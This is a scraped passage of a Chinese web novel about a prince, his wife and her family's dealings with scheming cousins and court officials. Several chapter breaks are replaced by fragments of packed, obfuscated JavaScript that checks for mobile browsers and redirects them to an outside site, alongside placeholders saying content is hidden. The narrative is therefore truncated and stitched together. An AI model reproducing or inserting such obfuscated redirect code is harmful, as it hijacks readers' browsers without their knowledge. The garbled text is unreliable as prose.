还不等她说完,离瑶便打断她,“王妃,你不用如此客气,名声啥的不能当饭吃,没什么损不损的。要是大公子有需要,别说通房了,就是让我进牢房我都乐意。” 厅堂瞬间鸦雀无声。 一双双眼睛全直愣愣地把她盯着,就跟看稀罕物件似的。 还是顾思沫最先出声,“咳……瑶儿,这种话不能乱说,啥通房不通房的,我们大哥不是那种人。” 离瑶冲她不解地眨了眨眼,突然问道,“芯儿,通房到底是什么?那个什么表妹好像很介意我和大公子通房。” 气氛再一次沉默。 夜时珽的脸先前还是黑的,这会儿竟是莫名的染了一丝红晕。似是再难忍受这个话题,他起身,板着脸斥道,“全都给我散了!” 语毕,他头也不回地走出厅堂,离开了大家的视线。 “我怎么觉得大哥这是害羞了呢?”夜时舒掩嘴偷笑。 “就是!还没商量怎么对人家负责呢,就这么跑了?”夜时竣也忍不住揶揄。 “二公子,你们别取笑大公子了,我为大公子做事是自愿的,你们要笑就笑话我吧!”离瑶拍了拍自己的胸膛,一脸的仗义。 看着她单纯的模样,夜时舒、夜时竣、顾思沫都有些哭笑不得。 这是典型的被卖了还帮着卖家数银子啊! 就连尉迟凌都忍不住低声轻笑,然后招呼他们,“好了,大公子已经走了,都散了吧。” …… 虽说今日帝王让尉迟凌休沐,但有些大臣还是找到承王府商议事情。 接到消息,尉迟凌不得不带着夜时舒提前回王府。 等到大臣们陆陆续续离开书房后,夜时舒才端着新沏的茶进书房。 尉迟凌坐在大椅上,垂眸盯着一本册子,眉宇微蹙,似是为什么犯愁。但那认真又专注的样子也着实迷人,让夜时舒端着茶盘都不忍心上前打扰。 “愣着作甚?”尉迟凌突然抬起头。 “怕打扰你。”夜时舒绕过书桌走到他身侧,将桌上用过的茶盏挪到一旁,摆上为他新沏的茶。看了一眼桌上还未合上的折子,关心地问道,“可是遇上棘手的事了?” “这些大都是以前尉迟睿负责的事,纰漏着实多。新接替的官员怕担责,又不敢向父皇如实禀报,便让本王定夺。” “你不会要替废太子兜着吧?”夜时舒试探地问道。 “自然不会。”尉迟凌给了她一记不满的眼神,“你瞧着本王有那么傻么?” 夜时舒笑,下一刻便被他拉到腿上。 看着他如画的眉眼,夜时舒突然问他,“王爷,如果让你做了储君,你会不会……” “不会!” “我还没说完呢!” 尉迟凌突然转过她身子让她跪坐在自己身上,双臂圈着她的同时也瞪着她,“别把本王当没开窍的傻子!你心里想的那些最好给本王抹掉,本王对那位置不感兴趣,即便无可奈何接下,那也没有人能左右本王的决策。上位者若是被朝臣掣肘,只能通过女人制衡朝堂,那这上位者同傀儡有何区别?” 夜时舒深深地凝视着他,从他这番话就足以看出他想的比她还多。 “我就是问问……” 尉迟凌一巴掌轻拍在她屁股上,“别说问,想都不许想!” 夜时舒抬手勾住他脖子,笑道,“好好,不想不想,我什么也不想!” 她笑,尉迟凌也勾起了薄唇,双手还在她腰间揉捏起来,“今日都没见你怎么走动,可是身上不舒坦?” 夜时舒忍不住敲他肩膀,“你还好意思说!明知道今日是爹和九姑大喜的日子,你还没完没了!” 尉迟凌薄唇贴到她耳边,笑问,“那现在回房,我帮你捏拿捏拿?” “去你的!这天都没黑呢!”夜时舒哪会不知道他的想法,什么捏拿捏拿,根本就是压榨压榨! 正在这时,侍卫的声音从门外传来,“启禀王爷,有一公子,自称姓范,是王妃的表兄。他还说他是得了王爷的许可前来拜访王爷和王妃的。” 夜时舒赶紧从尉迟凌腿上跳下去。 尉迟凌捉住她的手,不满地瞪着她,“做何?” 夜时舒朝门外努了努嘴,示意他注意形象。 尉迟凌抿了抿薄唇,对门外低沉道,“让范公子进来吧。” “是。” 待侍卫离开,夜时舒就皱起眉,说道,“这范云濡真是的,明明说了让他明日和宏泽表哥一起来,他却提前跑来王府,可见他是早就存了巴结你的心思!” “看看再说吧。”尉迟凌捏了捏她的手心,温声道,“虽说你姑婆和她孙女范云莹品行有缺,但目前为止,范云濡也没出什么大过。如果他真有登科及第之才,我也没理由为难他。” “嗯。”夜时舒朝内室看去,“那你接见他吧,我去里面看会儿书,上次的画本子还没看完呢!” 尉迟凌唇角勾了勾,这才放开她的手。 不多时,范云濡被侍卫领着进了书房。 “云濡拜见王爷!” “范公子免礼。” “谢王爷!”范云濡跪地行礼,礼数又恭敬又周全。起身后,他主动表明来意,并将带来的几部手札双手呈上,“王爷,这是云濡近年来所著的诗赋,还请王爷多多指教。” 尉迟凌手指在桌面上敲了敲,示意他放上来。 范云濡躬着身上前。 待他放下手札后,尉迟凌道,“本王会仔细过目的,若没别的事,你就回去等候消息吧。” 范云濡张了张嘴似有话想说,可抬眸触及到他冷峻的脸,忍不住咽了咽口水,硬生生把到嘴话的吞回了腹中。 “王爷,那云濡就不打扰您了。云濡回去定加倍勤勉温习功课,等着您的指教。” 说完,他作礼告退。 听着他和侍卫远去的脚步声,尉迟凌正准备起身去内室,夜时舒就自己出来了。 她到书桌边,拿起最上面一部手札翻看了起来。 看过几页后,她递给尉迟凌,接着又去翻下一步。 等到手札都翻完后,她摇头,“这范云濡表面虽然没什么可指摘的,可太贪功急利了。” 尉迟凌有认真地翻看手札,并皱着眉评道,“此人才华是有,但辞藻浮夸、字里行间都充斥着一股阿谀奉承之味。” 夜时舒忍不住失笑,“你说我们如实告诉范老太太,说她宝贝大孙子不行,她会不会当场被气死?” 第198章 求他放了太子妃 尉迟凌不以为意的摇了摇头,“没必要为此激怒他们。科考就算题试过了还有殿试,因废太子的事,今年的选拔势必会比往年更加严谨,虚浮才华是过不了关的。范氏想巴结我,大不了我把范云濡推荐到国子监,至于别的事,那就看他自己的造化了。” 他做的大气,但夜时舒却心有不甘,“要把范云濡推荐到国子监?你就不怕他狐假虎威惹是生非给我们添乱?” 尉迟凌不屑地翘了一下唇角,“我倒是希望他能在国子监惹是生非,只要他染了污点,想入仕便没那么容易。反正机会我是给了,能否功成名就还得看他自己。” “好吧。”夜时舒笑了笑,随即把那几部手札推到桌角,然后把大臣们送来的折子推到他面前,挤着眉眼道,“争取天黑前看完,不然今夜你就在书房睡!” “……”尉迟凌唇角暗抽。 让他独自睡书房? 想得美! 他就不能把她抓来书房一起?又不是没在书房做过! …… 翌日。 夜时舒睡到巳时才醒。 春柳和夏花进来服侍她梳洗,她问,“王爷回来了吗?” 春柳先回道,“王妃,王爷半个时辰前回的府,听说您还未醒,便去书房接见游公子了。” “我表哥来了?何时来的?” 夏花回道,“王妃,游公子来了有一个时辰了,他说不打扰您休息,奴婢们便没来传话。” 夜时舒点了点。 梳洗过后,她用了一碗燕窝,又让春柳盛了两碗,她亲自端去了书房。 只是她进到书房里,并没有看到游宏泽。 “王爷,宏泽表哥走了吗?” “一刻钟前走的。” 夜时舒看着他手上正翻阅的手札,赶紧把食盘放桌上,然后绕桌到他身侧,拿起另一本翻阅起来。 “王爷,你觉得宏泽表哥跟范云濡比起来,谁的文章更优秀?” “没有可比性。” “啊?” 尉迟凌抬眸朝他扬了扬唇角,“游宏泽的文章大气磅礴,涵养深厚,见地独特,上榜毫无问题。” 夜时舒听着他的赞赏,自己也翻阅了好几页手札,忍不住点头附和,“同是表哥,这差距真不是一般的大!不过说起宏泽表哥的优秀也不算稀奇,二舅舅和二舅母正直坦荡,为人品行就让人敬佩,他们教育出来的孩子能查到哪去?” “从小到大,宏泽表哥就有读书的天赋,且他从来不跟乱七八糟的人为伍,哪像游清波那烂东西,除了败祖宗产业和名声,一件正事都不做!同是游家子孙,真是一个天上一个地下!” 说完,她突然望着虚空发愣。 尉迟凌察觉到她异样,侧身看着她,低声询问,“怎么了?” 夜时舒回过神,冲他笑道,“没什么,就是侯府在大舅舅和大舅母手上败落,突然有些感伤。” 她不敢说,自己突然想起上一世,一直都没有宏泽表哥的消息,更是没听说他有科考上榜…… 尉迟凌方才说以宏泽表哥的才学上榜完全没问题,既然没问题,那为何没有宏泽表哥科考的消息? 莫非是宏泽表哥上一世出什么事了? 这一世因为她的清醒和转变,几乎所有的人和事都改变了轨迹,包括侯府。 如果上一世游宏泽出什么事,那这一世应该也会有转变吧? “王爷,你也打算让宏泽表哥去国子监吗?” “嗯。” “范云濡和宏泽表哥都在国子监,那要不要派人去盯着?” “无需担心,国子监有我的人。”尉迟凌以为她担心游宏泽会被范云濡欺负,便温声安慰她,“出不了事的。” 正在这时,门房侍卫来报。 “启禀王爷,祝丞相求见。” 夫妻俩停下聊天,同时冷了脸。 “王爷,我去内室坐坐。” “嗯。” 看她进了内室,尉迟凌才对侍卫抬了抬下巴,冷声道,“请他进来吧。” 没多久,丞相祝志顺进了书房。 夜时舒竖起耳朵,就听见他双膝跪地的声音。 “臣拜见承王殿下!” “什么风把相爷吹来了?快快请起。”尉迟凌作似惊讶的语气。 可他人稳坐在大椅上,手都没抬一下。 祝志顺并未起身,只低着头,声线带着一丝粗哑,仿佛说话很艰难似的,“殿下,臣年迈,无法再堪当大任为君王分忧,故臣欲向陛下请奏告老还乡。只是臣有一心愿,还望承王殿下怜悯。” 尉迟凌薄唇淡勾,似笑非笑地问道,“不知本王能为相爷做些什么?” 他没有挽留。 也不会挽留。 祝志顺来这里,也没有怀揣被挽留的念头。毕竟一朝君王一朝臣,这道理他比谁都懂。 澜贵妃调换皇子,死的无声无息,连个葬礼都没有,甚至尸身都不知在哪。废太子尉迟睿已成庶人,即便不死,这辈子也没有再触及皇权的机会。 而他女儿作为尉迟睿的发妻,曾经有尊贵,如今便有多落魄。身为废太子的岳丈,他的下场不可能好。 皇上没急着立承王为太子,不是因为皇上不愿,而是在为肃清朝堂做准备。 这是他退出朝堂最好的时机。否则一旦等承王坐上太子之位,第一个要除掉的就是他! “臣想让承王殿下为小女求一纸休书!” 如今的他,连‘和离’二字都开不了口。 “呵!”尉迟凌轻笑,“相爷,你大可向我父皇直接请奏,为何要本王出面?” “臣不敢。” “你倒是实诚。”尉迟凌从座起身,绕过书桌走到面前,居高临下地看着他,唇角始终挂着若有似无的笑意,“那本王也坦诚相告,本王做不到。” “……”祝志顺抬头,似是没想到他会拒绝得如此果断。 “你女儿擅于心计,澜贵妃和废太子往日对本王的所作所为,她都有参与。在济州城,她甚至将藏有毒药的香囊赠于本王的王妃,试图让本王的王妃终身绝嗣。相爷,本王请教你,若是有人对你女儿如此心狠毒辣,你会放过对方吗?” 第199章 你想让本王独守空房? 祝志顺脸色发白,难堪之色想掩都掩不住。 女儿随尉迟睿入狱,虽然没被帝王明确判罪,但这何尝不是在威胁警告他祝家? 城外上万大军镇守,即便朝中近半数官员曾经拥趸尉迟睿,可又有谁敢轻举妄动? 今日来承王府,与其说他是来向女儿求情,不如说他是来试探承王心思的…… “既然承王不愿帮忙,那臣就不多扰了。”他从地上起身,没有等尉迟凌再说话,带着一张死沉的脸转身头也不回地离开了。 尉迟凌随即给侍卫睇了个眼色。 侍卫立即跟上祝志顺送他出府。 夜时舒从内室出来,走到门口望了望,揪着柳眉道,“这祝志顺一辈子醉心权势,还是靠着女儿才当上了丞相,说什么告老还乡,他能放弃一切,鬼都不信!” 尉迟凌上前,勾住她腰肢,低声道,“尉迟睿手上养着麒麟卫,祝志顺这些年也养了一些私兵。只不过现在大军镇守城门,他们暂时不敢妄动而已。” 夜时舒转身看着他,认真问道,“王爷,父皇对他是什么心思?” 尉迟凌别有深意地勾唇,“以不动制万动。” 夜时舒不再问了,扭头看了一眼桌上,“王爷,燕窝都凉了,我让春柳她们拿去热热。” “不用。” 尉迟凌放开她,走到桌边端起瓷盅,一勺一勺喝了起来。 刚用到半盅燕窝,又见侍卫来报,“王爷,大理寺严大人求见。” “嗯。”尉迟凌应了一声,随即将瓷盅放回托盘。 “王爷,我想叫上二嫂和离瑶去紫琼山庄玩,行不?”夜时舒挽住他的胳膊突然撒娇。 尉迟凌拥她入怀,低下头在她唇上啄了啄,“那今晚宿在庄里,本王晚些去找你们。” “你要没空也可以不去。” 闻言,尉迟凌倏地沉下脸,“你想让本王独守空房?” 噗! 夜时舒一边笑一边敲他的肩,“乱说话!上次被你困在房里好几日,我还没好好玩过呢!” 那是他们第一次…… 整整三天都没出过房门! 尉迟凌眉眼染上笑,手掌摩挲着她腰肢,在她耳旁低语,“别玩累了,多留些体力晚上用。” 夜时舒耳根发烫,又敲了他肩膀两下,“就你跟头蛮牛似的不嫌累!” 两人打情骂俏着,要不是侍卫来传报大理寺卿求见,只怕这会儿早腻歪到内室去了。 …… 夜时舒先派人去将军府送话,与顾思沫她们约在紫琼山庄脚下会合。 她先到。 觉得四周景色不错,于是让车夫把马车停在路口,方便顾思沫她们来时能看到。然后她带着春柳和夏花在附近散起步来。 “王妃!” 突然,身后传来一道娇柔的女声。 夜时舒带着春柳、夏花转身看去,就见两名年轻女子朝她们而来。 为首的女子身着艳丽的裙衫,姿态柔美,容貌昳丽,像极了画里走出来窈窕佳人。身后紧随的女子略躬着身,神色小心翼翼,一看就是昳丽佳人的丫鬟。 “臣女安雯拜见承王妃。”女子行至她跟前恭敬地蹲膝行礼。 “你是?”离得近了,夜时舒才发现她有些眼熟,但一时间又想不起在哪见过。 “王妃,臣女是大理寺卿杜友冲之女。”杜安雯自我介绍道。 夜时舒仔细回想,好像是杜家的女儿。 以前她代替父兄参加过一些宫宴,跟京中的贵女们多少都见过。只是她不喜欢应酬,很多人她都有见过的印象,但就是记不住是哪家的。 “杜小姐免礼。”她微微一笑,抬手示意她起身。 “谢王妃。”杜安雯起身后,美目难掩欣喜地看着她,“今日家父去承王府,还问臣女要不要一同去拜访王爷和王妃。臣女本是乐意的,但前些日子外祖家替臣女谈了一门亲事,今日约在紫琼山庄相看,臣女不得已只能回拒了家父。没想到,臣女运气这般好,竟在这里见到了王妃。” 夜时舒笑着点头,“我出来时杜大人刚到承王府。” 杜安雯朝她身侧的春柳和夏花看了看,关心地问道,“王妃,您出来就只带了她们吗?” 夜时舒道,“我约了兄长出来游玩,他们一会儿就到。” 杜安雯还想说什么,她身旁的丫鬟突然拉了拉她的衣袖。杜安雯随即歉意地说道,“王妃,臣女的外祖还在山庄里等着臣女,恕臣女今日不便相陪。” “嗯,杜小姐请便。” 杜安雯又恭敬地福了福身,然后带着丫鬟迈着急促的小步往山庄去。 夜时舒只淡淡地目送了一眼,随即便将视线投向了别处。 对于这样的邂逅,她并未往心中去。 在附近散步了一刻钟左右,突然听到熟悉的喊声,“小妹!” 她转身笑看着来人。 除了顾思沫和离瑶外,还有她大哥、二哥。 只是,在看着离瑶背上的斧头时,她额角暗暗地滑下一滴黑线。 “瑶儿,你这斧头?”这丫头不会以为叫她出来是去山上劈柴吧? “王妃,这斧头是我的兵器,我带习惯了。”离瑶咧着嘴道。 夜时舒除了笑还能说什么? 夜时珽板着脸问道,“怎突然想起出来游玩?王爷呢?让你一个人出来他放心?” 夜时舒笑说道,“他现在忙得不得了。以前当闲散王爷时,门可罗雀,几个月都见不着一个人上门,现在掌权了,门庭若市,我同他说话都还得掐着没人的点才行。” 夜时珽剑眉微蹙,突然提议,“那你搬回将军府吧。” 夜时舒一听,赶紧撒娇,“大哥,我说笑的,王爷又不是故意不陪我,你别当真啊!” 开什么玩笑,她时常回娘家,尉迟凌已经够纵容她了。她要说搬回娘家,那尉迟凌还不得提着刀去将军府? 夜时竣嫌弃地瞅着自家大哥,“大哥,你这不解风情的性子能不能改改?就王爷黏糊小妹那劲头,要不是实在抽不开身,小妹才没机会同我们玩呢!” 顾思沫扯他衣袖,“好啦,赶紧上庄里去吧,都站在这里,太惹人注目了!” “走走走,上次没玩尽兴,这次来山庄,必须得吃好喝好!”夜时竣打了个响指,牵起顾思沫先走。 离瑶没有跟上他们,而是挨到夜时舒身侧,望着半山腰上一栋栋红瓦高宅,小声问道,“王妃,这就是您说的紫琼山庄吗?芯儿说这里面的东西很好吃,但就是特别昂贵……” 夜时舒搂住她肩,一边笑着一边往山上去,“别怕,放开肚子吃,记我大哥账上!” 夜时珽唇角狠狠一抽,“……” 什么叫记他账上? 到底谁把他们喊出来的? 妹夫的地盘,叫他这个大舅哥讨银子,他们好意思收? 第200章 要不你们也来场假成亲? 加上春柳和夏花,他们一行七人。 刚一进山庄大门,便有一名伙计迎到夜时舒跟前,行礼道,“小的恭迎王妃!” 他叫三水,夜时舒已经见过他好几次了。尉迟凌交代过她,在山庄里有什么事只管跟三水说。她也是上次才知道,三水看着是山庄里的伙计,实际上他是紫琼山庄的管事人。 “进去说话吧。” “是。”三水像伙计迎客那般,笑着招呼他们,“几位公子小姐,里面请!” 夜时舒知道,还是上次那三间房,所有熟路地走在最前面。 只是,在路过一楼拐角时,她听到就近的一间屋子里传来对话声—— “雯儿,那冯家公子模样俊,你怎么还瞧不上呢?” “外祖母,您要是一个月前同雯儿说,雯儿一定看得上。可现在雯儿心中有人了,那冯家公子还是算了吧。” “你有心上人了?谁啊?为何没听你父母提过?” “现在还不方便,过一阵子您便知道了。外祖母,您就别再为雯儿操心婚事了,雯儿敢向您保证,雯儿看上的男子绝对没人敢说他半句不好!” “行,那外祖母就等着,看你到底挑中了哪家的儿郎!” “嘻嘻……” “小妹,怎么了?”顾思沫忍不住碰了碰夜时舒。 夜时舒这才收起八卦心,冲她笑了笑,“没什么。” 本来她不好八卦的,但先前偶遇杜安雯,得知她今日与人相看,这才生了几分好奇心。 就在他们一行人刚走到楼梯正欲上楼时,一道熟悉的声音从他们身后响起,“王妃!大表哥!二表哥!” 众人回头。 看着不期而遇的范云莹,大家都不同程度地沉了脸。 见兄妹三人都没开口的意思,顾思沫为了缓减僵冷的气氛,先开口礼貌地招呼,“范小姐,好巧,你也来山庄游玩啊?” 她也是父亲和九姑成亲那日才从夜时竣嘴里打听到这范氏表妹之前所做的种种恶心事。 明明同大哥定了亲,却因为贪图小妹的嫁妆去勾引她的时竣,还给她的时竣下药妄图生米煮成熟饭…… 因为后悔与大哥解除婚约,她又故技重施想给大哥下药,结果没算计到大哥,阴差阳错让父亲和九姑中了招。 虽说父亲和九姑现在成了好事,还得多谢她这个‘媒人’,可这范云莹的心思和手段是真卑鄙龌龊! 也难怪大哥要拿离瑶挡这朵烂桃花,遇上这样的人,还是亲姑婆的孙女,谁不糟心啊? 范云莹向他们笑着,说道,“朋友邀我去山上游玩,我们约好在这里碰面,没想到会遇上你们!” 夜时舒强挤出一丝笑,“那云莹表姐尽情玩吧,我们就不打扰你了。” 说完,她给三水使了使眼色,然后先往楼上去。 夜时竣牵着顾思沫的手快速跟上。 现在有了皇上的赐婚,他们现在都不避人了,同进同出,谁敢说他们半句,夜时竣立马就能甩出圣旨打人脸。再加上他给外人的印象就是混不吝,谁盯着他说是非,那真是吃饱了撑的没事给自己找不痛快! 离瑶也想跟上去,但见范云濡目光深情又期待地把夜时珽望着,她抓了抓耳朵,接着学起夜时竣和顾思沫,抓住夜时珽的手就往楼上去,嘴里还说道,“大公子,快些!” 夜时珽修长的双腿随着迈开,但眸光却深邃地盯着她的手。 范云莹仿佛没看到他们避她如蛇蝎的模样,还冲夜时珽喊了起来,“大表哥,我一会儿去找你!” 夜时竣虽没转身,但因为她这话直接黑了脸。 酒菜上桌。 离瑶无疑是吃的最欢的那个。 大家都知道她能吃,而且夜时舒邀她出来就是请她吃东西的,自是不介意她狼吞虎咽、大快朵颐。 夜时竣倒了两杯酒,递了一杯给夜时珽,同时皱着眉问道,“大哥,这范云莹怕是得给她点厉害尝尝,不然她真以为你会吃回头草!” 没人知道,其实他挺后悔的。 当初对付顾诗雅他们时,就该把范云莹一块算计了! 夜时珽接过酒杯,抿了一小口,低沉道,“现在动她,太刻意了。姑婆闹起来,比市井泼妇还麻烦。” 夜时竣点了点头,“行,找到合适的机会再说吧。” 顾思沫突然提议,“要不给范小姐相门亲事?只要她嫁人了,就不会再对大哥有非分之想了!” 夜时竣讥笑,“芯儿,她勾引我时还跟大哥有婚约呢!这种女人,你以为她嫁人了就能老实?你把她想得太简单了!” 顾思沫想到什么,朝正埋头吃肉的离瑶看去,“要不让大哥和瑶儿也来场假成亲?这样肯定能让范家祖孙死心!” 她这话一出,气氛瞬间凝固。 下一刻,响起夜时竣和夜时舒的笑声。 夜时珽一脸黢黑地瞪着顾思沫,“你以为都像你和时竣一样过家家玩?再乱出主意,你们都给我回去面壁!” 顾思沫立马缩着脖子低下头。 夜时竣心疼媳妇,赶紧说道,“大哥,芯儿也是好意,你凶什么嘛,当心吓到她!” 夜时珽抬手指了指他俩,“你俩真是一个比一个不靠谱!” 夜时竣‘嘿嘿’笑,突然朝离瑶挤眼,“大哥,你看离姑娘都没意见呢!” 离瑶抬起头,一张小脸鼻子以下都是油。她眨着眼将大家的表情一一看过后,扭头对夜时珽说道,“大公子管我吃住,要我做什么都行。” 这一下,不止夜时竣和夜时舒笑,顾思沫都忍不住跟着一起笑了。 夜时珽斜眼剜着离瑶,没好气地道,“多什么嘴?吃你的!” “哦。”离瑶又低下头,继续专攻美食。 在房里吃吃喝喝差不多一个时辰后,眼见太阳快落山了,夜时舒正想提议去山上看日落晚霞,突然见三水进来禀报,“王妃,有位姓杜的小姐说认识您,想见您一见。” 夜时舒不用问都猜到是谁。 “请她上来吧。” “是。” 不多时,三水再次推开门。 屋中的人都纷纷朝门口看去。 除了杜安雯外,范云莹也跟在她身后一同走了进来。 第201章 试探她的心思 二人上前,依次给三兄妹见礼。 夜时舒抬手免礼,似关心地问道,“杜小姐不是要与人相看吗?是否顺利?” 杜安雯面含一丝失落,“回王妃,臣女是与人相看了,但外祖家并不满意,觉得我与那人不合适。” 夜时舒嘴角带着礼貌的微笑,但眸底却闪过一丝异色。 她耳朵可不聋,听得一清二楚,分明是杜安雯不愿意接受她外祖母安排的亲事,还说自己已经有喜欢的人了…… “呵呵!以杜小姐的家世和容貌,多的是优秀男子为你着迷,不愁选不到优秀郎君。”她没有拆穿杜安雯的谎言,随即转移话题,好奇地问道,“杜小姐与我云莹表姐何时认识的?之前云莹表姐说与朋友有约,莫非这‘朋友’就是杜小姐?” 杜安雯笑了笑,“回王妃,臣女和范小姐是前些日子认识的,不过今日臣女才知道范小姐竟是您的表姐。臣女本就想找机会与王妃结识,没想到今日巧合都凑到一块了,真是缘分啊,臣女便厚着脸皮前来叨扰。” “叨扰算不上。”夜时舒保持着礼貌的微笑,“这紫琼山庄本就是供人玩乐的,杜小姐可尽情玩。” 杜安雯似是没听出她的言外之意,讨巧地说道,“王妃,臣女难得与您相见,心中甚是欢喜,能否让臣女留下,多个为您解闷的人?” 夜时舒红唇上那抹礼貌的浅笑有些僵。 “你是大理寺卿杜大人的女儿?”夜时竣笑着招呼,“既然碰上了,那杜小姐便留下同我们一块玩吧!” 他随即便对三水喊道,“添张桌子,再上几道好菜!” 三水看了一眼夜时舒,见她没反对的意思,这才热情地应声退下。 杜安雯虽没有得到夜时舒的首肯,但还是朝他们兄妹三人福身道谢。 最开心的莫属范云莹了。 三水带着伙计回来时,她主动又殷勤地帮着摆桌布菜,不知道的还以为她是这屋里谁的丫鬟呢。 就连一直专注美食的离瑶都忍不住抬头望了他一眼。 就在杜安雯和范云莹落座准备进食时,离瑶突然对夜时珽说道,“大公子,我吃饱了,想去山上散步消食。” 夜时珽愣了一下,接着放下手中的酒杯,“嗯,我也吃饱了。” 离瑶抓过鸡腿的手还没擦呢,一把抓住他的大手起身,并快速对夜时舒和顾思沫说道,“王妃、芯儿,你们慢用,我们先去玩了!” 看着自己大哥那被离瑶拉走的样子,明明一个大高个,好似柔弱得不敌女子,任由离瑶拉出去宰割,这画面让夜时舒莫名地觉得有点滑稽。 而她眼角余光下意识朝隔壁桌看去。 果不其然,范云莹目光紧随着她家大哥,一脸的不舍。可她又不知为何,强忍着没追出去。 那杜安雯只是淡淡地瞥了一眼便收回视线。 夜时舒朝自家二哥暗暗挑眉。 这杜小姐的目的看来不在他们大哥身上。 夜时竣不动声色地回她个眼色,示意自己明白。随即他开始不停地给顾思沫夹菜,笑着调侃,“你这胃口该跟离瑶多学学,看她多能吃,哪像你,麻雀腑脏!” 顾思沫看了一眼隔壁桌,娇羞地嗔道,“你别顾着给我夹菜,会让人笑话的!” “这里没外人,有外人也不怕,我们马上就要成亲了,我让自己媳妇多吃点,哪错了?谁敢不服气,我打他个鼻青脸肿!”夜时竣不屑地哼道。 “这位便是华神医吧?”杜安雯望着他们,温柔的笑面带着崇拜,“久闻华神医医术高超,很是了不起。今日托王妃的福能见到华神医,没想到华神医还是如此清丽脱俗的俏佳人,同二公子真是般配至极。” “让杜小姐见笑了。”顾思沫娇羞地回道。 夜时舒暗暗地观察着杜安雯。 奉承是肯定的。 但她这番奉承的话中也没听出其他意思。 包括目视她二哥二嫂的眼神,也仅带着恭维加礼貌的笑意。 她心下不由地冒起疑问。 难道她想多了,这杜安雯只是单纯地想巴结她? “小妹。”夜时竣突然唤她。 “嗯?” “王爷有说要来找我们吗?” “他忙着呢,不一定能来。” “他若是来的话,我就带芯儿去山上看夜景,不打扰你们卿卿我我。他要是不来的话,我和芯儿就在屋里陪你。” 夜时舒抬眸正想说让他们尽情去玩耍,不经意间发现杜安雯的美目正盯着她。 她话锋一转,笑问道,“杜小姐,怎么了,我脸上有什么吗?” 说着话,她抬起手在自己脸颊上轻抚。 杜安雯下意识地垂下眸子,不好意思地道,“没什么,就是觉得王妃姿容倾城,同是女子,臣女都忍不住为王妃着迷。” 夜时舒眼角狠狠一抽,“……” 怎么,这杜小姐不会看上她了吧? “咳!”夜时竣不自然地清了清嗓子,然后傲娇地扬了扬下巴,“那是,我们小妹要是没点姿色,哪能入得了王爷的眼!” “二哥!”夜时舒娇喝一声。 “哈哈……” 夜时竣正夸张的大笑,突然一道高大的身影从门外进来。 看着来人那黑沉的冷脸,他的大笑瞬间变成了大咳,“咳咳咳……咳咳咳……” 第202章 收银子办事 顾思沫赶紧为他拍背,而且故意拍得‘啪啪’响,嘴里低声骂道,“活该!谁让你乱说小妹的! 夜时竣翻着白眼往她身上靠,一副痛苦样,“我快咳**!芯儿,快扶我去隔壁休息!” 顾思沫瞪了他一眼,才不应他呢! 不过还是给他倒了杯清水。 而尉迟凌的突然到来,让另一桌的杜安雯和范云莹根本没心思注意他们,二人从座起身,恭敬地行礼迎道,“参见承王殿下!” “嗯。”尉迟凌淡漠地应了一声,径直走向另一桌,在夜时舒身侧坐下。 “怎么来得这么快?”夜时舒笑问他,“府里的事忙完了?” “送走杜大人后便赶来了。”尉迟凌勾住她腰肢,眸光轻扫桌面,然后落在她的碗上,“吃好了么?” “吃好了。”夜时舒点了点头,接着问他,“我让人再

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240428|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ******后面还有2158个字内容被隐藏了****** ******后面还有2158个字内容被隐藏了****** loadBookInfo(37, 1877294, 26253247,''渣男与人暗度陈仓,我与王爷明修栈道''); 第203章 被迫听了一晚上墙角 “是吗?”夜时竣上前,对着巨石上上下下观察了一番,然后转身问她们,“杜小姐、云莹表妹,你们确定要过去?” 杜安雯秀眉微蹙,正犹豫着要不要放弃,她身侧的范云莹则是毫不迟疑地点头,“二表哥,你想办法让我们过去吧!” 夜时竣唇角一斜,随即朝顾思沫抬了抬下巴,“芯儿,你送她们过去吧。” 顾思沫忍着笑,上前一手抓住杜安雯、一手抓住范云莹,运起轻功就朝巨石顶上飞去—— “啊!” 听着她们惊叫声,夜时竣‘嘿嘿’地抖了抖肩。 不多时,就见媳妇从巨石另一边飞回来,他立马展开手臂将其接住。 而石头那边传来范云莹的喊叫声,“华神医,你怎么跑了?你、你记得来接我们啊!” 夫妻俩谁都没吱声,只一个劲儿的偷笑。 见范云莹35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240429|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ******后面还有1862个字内容被隐藏了****** ******后面还有1862个字内容被隐藏了****** loadBookInfo(37, 1877294, 26375232,''渣男与人暗度陈仓,我与王爷明修栈道''); 第204章 儿臣王府挺大,再多人也埋得下。 杜安雯小跑过去,随手捡起一件长袍。 可不是嘛! 这正是昨日承王穿的! “看来他们是回庄里了!”范云莹气恼地跺了跺脚,“真是的,为何离开也不叫醒我们?” 杜安雯没有理会她,盯着手中长袍,突然眯起眼,唇角勾起一丝冷笑。 “范云莹,把这些东西都捡上!” “杜小姐,捡这些做什么啊?”范云莹不解地问她。 杜安雯狠狠地瞪了她一眼,“让你捡就捡,问那么多做什么?” 范云莹看着地上这堆衣物,除了承王的外,还有夜时舒的。再看杜安雯那眼中暗藏的算计,她一下子就明白了过来。 …… 山庄里。 离瑶正美美地啃着鸡腿。 连啃了两只鸡腿,发现对面的男人一直没动,她不由地抬起头,问道,“大公子,你怎么不吃?是没胃口还是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 